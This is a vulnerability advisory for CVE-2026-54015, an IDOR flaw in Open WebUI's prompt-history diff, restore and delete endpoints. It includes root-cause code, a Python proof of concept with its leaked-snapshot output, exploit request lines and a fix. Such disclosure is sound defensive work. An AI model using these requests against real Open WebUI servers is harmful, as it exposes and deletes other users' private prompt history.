PT-2026-50487 · Pypi · Open-Webui
Published
2026-06-17
·
Updated
2026-06-17
·
CVE-2026-54015
CVSS v3.1
6.4
Medium
| Vector | AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L |
Summary
Open WebUI's prompt version-history endpoints authorize the
prompt id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history entry.prompt id == prompt.id). Three operations are affected:GET /api/v1/prompts/id/{prompt id}/history/diff— returns another prompt's history snapshots (read).POST /api/v1/prompts/id/{prompt id}/update/version— restores another prompt's snapshot into the caller's prompt, exposing its content (read).DELETE /api/v1/prompts/id/{prompt id}/history/{history id}— deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim
prompt history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history id}) already enforces the binding; these three did not.Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim
prompt history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.Root Cause
The route checks read access only for
prompt id:python
# backend/open webui/routers/prompts.py
prompt = await Prompts.get prompt by id(prompt id, db=db)
...
if not (
user.role == 'admin'
or prompt.user id == user.id
or await AccessGrants.has access(
user id=user.id,
resource type='prompt',
resource id=prompt.id,
permission='read',
db=db,
)
):
raise HTTPException(...)But the authorized prompt ID is not passed into the diff sink:
python
# backend/open webui/routers/prompts.py
diff = await PromptHistories.compute diff(from id, to id, db=db)compute diff() fetches both history entries globally by ID and returns their full snapshots:python
# backend/open webui/models/prompt history.py
result from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from id))
from entry = result from.scalars().first()
result to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to id))
to entry = result to.scalars().first()
...
return {
'from snapshot': from snapshot,
'to snapshot': to snapshot,
...
}There is no check that
from entry.prompt id == prompt id or to entry.prompt id == prompt id.The same missing binding affects two further endpoints.
POST .../update/version restores a snapshot fetched globally by version id:python
# backend/open webui/models/prompts.py — update prompt version
history entry = await PromptHistories.get history entry by id(version id, db=session)
...
prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt
prompt.version id = version idDELETE .../history/{history id} deletes an entry fetched globally by history id:python
# backend/open webui/models/prompt history.py — delete history entry
result = await db.execute(select(PromptHistory).filter by(id=history id))
entry = result.scalars().first()
...
await db.delete(entry)Neither checks
entry.prompt id == prompt.id. The single-entry read endpoint (GET .../history/{history id}) does (history entry.prompt id != prompt.id → 404); these three endpoints were missing it.PoC
python
#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
- the real routers.prompts.get prompt diff() route function
- the real PromptHistories.compute diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""
from future import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare imports() -> None:
repo root = Path( file ).resolve().parents[1]
sys.path.insert(0, str(repo root / "backend"))
os.environ["VECTOR DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeScalarResult:
def init (self, row):
self.row = row
def first(self):
return self.row
class FakeExecuteResult:
def init (self, row):
self.row = row
def scalars(self):
return FakeScalarResult(self.row)
class FakePromptHistoryDb:
def init (self, rows):
self.rows = rows
self.calls = 0
async def execute(self, stmt):
row = self.rows[self.calls]
self.calls += 1
return FakeExecuteResult(row)
class FakeDbContext:
def init (self, db):
self.db = db
async def aenter (self):
return self.db
async def aexit (self, exc type, exc, tb):
return False
async def run real compute diff(from id: str, to id: str):
import open webui.models.prompt history as history module
victim from = SimpleNamespace(
id=from id,
prompt id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE PROMPT SECRET V1",
},
)
victim to = SimpleNamespace(
id=to id,
prompt id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE PROMPT SECRET V2",
},
)
fake db = FakePromptHistoryDb([victim from, victim to])
original context = history module.get async db context
try:
history module.get async db context = lambda db=None: FakeDbContext(fake db)
diff = await history module.PromptHistories.compute diff(from id, to id)
finally:
history module.get async db context = original context
return diff
async def main() -> None:
prepare imports()
import open webui.routers.prompts as prompts router
attacker prompt = SimpleNamespace(
id="attacker-prompt",
user id="attacker",
)
attacker = SimpleNamespace(id="attacker", role="user")
victim from id = "victim-history-from"
victim to id = "victim-history-to"
class FakePrompts:
looked up prompt ids = []
async def get prompt by id(self, prompt id, db=None):
self.looked up prompt ids.append(prompt id)
if prompt id == "attacker-prompt":
return attacker prompt
return None
class FakeAccessGrants:
async def has access(self, *args, **kwargs):
return False
class FakePromptHistories:
compute diff calls = []
async def compute diff(self, from id, to id, db=None):
self.compute diff calls.append(
{
"from id": from id,
"to id": to id,
"authorized prompt id not passed": True,
}
)
return await run real compute diff(from id, to id)
fake prompts = FakePrompts()
fake histories = FakePromptHistories()
original = {
"Prompts": prompts router.Prompts,
"AccessGrants": prompts router.AccessGrants,
"PromptHistories": prompts router.PromptHistories,
}
try:
prompts router.Prompts = fake prompts
prompts router.AccessGrants = FakeAccessGrants()
prompts router.PromptHistories = fake histories
diff = await prompts router.get prompt diff(
prompt id="attacker-prompt",
from id=victim from id,
to id=victim to id,
user=attacker,
db=None,
)
finally:
for name, value in original.items():
setattr(prompts router, name, value)
result = {
"confirmed": (
diff.get("from snapshot", {}).get("content") == "PRIVATE PROMPT SECRET V1"
and diff.get("to snapshot", {}).get("content") == "PRIVATE PROMPT SECRET V2"
and fake prompts.looked up prompt ids == ["attacker-prompt"]
and fake histories.compute diff calls
and fake histories.compute diff calls[0]["authorized prompt id not passed"] is True
),
"attacker user id": "attacker",
"authorized prompt id": "attacker-prompt",
"victim prompt id": "victim-prompt",
"victim history ids": [victim from id, victim to id],
"prompt ids authorized by route": fake prompts.looked up prompt ids,
"compute diff calls": fake histories.compute diff calls,
"leaked from snapshot": diff.get("from snapshot"),
"leaked to snapshot": diff.get("to snapshot"),
"source": {
"route": "backend/open webui/routers/prompts.py:get prompt diff",
"sink": "backend/open webui/models/prompt history.py:PromptHistories.compute diff",
},
}
print(json.dumps(result, indent=2, sort keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if name == " main ":
asyncio.run(main())The PoC executes the real route function and the real
PromptHistories.compute diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.Result:
json
{
"attacker user id": "attacker",
"authorized prompt id": "attacker-prompt",
"confirmed": true,
"leaked from snapshot": {
"command": "/victim",
"content": "PRIVATE PROMPT SECRET V1",
"name": "Victim Prompt"
},
"leaked to snapshot": {
"command": "/victim",
"content": "PRIVATE PROMPT SECRET V2",
"name": "Victim Prompt"
},
"prompt ids authorized by route": [
"attacker-prompt"
],
"victim history ids": [
"victim-history-from",
"victim-history-to"
],
"victim prompt id": "victim-prompt"
}Exploit Sketch
Read via the diff endpoint:
- Attacker has read access to
ATTACKER PROMPT ID. - Attacker knows two history IDs for a victim prompt:
VICTIM FROM HISTORY IDandVICTIM TO HISTORY ID. - Attacker requests:
text
GET /api/v1/prompts/id/ATTACKER PROMPT ID/history/diff?from id=VICTIM FROM HISTORY ID&to id=VICTIM TO HISTORY ID- The server authorizes
ATTACKER PROMPT ID, then returns snapshots for the victim history IDs.
Read via restore (
update/version): the attacker POSTs {"version id": "VICTIM HISTORY ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.Delete: the attacker sends
DELETE /api/v1/prompts/id/ATTACKER PROMPT ID/history/VICTIM HISTORY ID; the victim history entry is removed.Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
compute diff()should acceptprompt idand query both entries withPromptHistory.prompt id == prompt idalongside the id filter.delete history entry()should acceptprompt idand filterfilter by(id=history id, prompt id=prompt id).update prompt version()should rejecthistory entry.prompt id != prompt idbefore restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing
history entry.prompt id == prompt.id binding) reached through different endpoints:- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/versionrestore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.
Fix
Improper Access Control
IDOR
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Open-Webui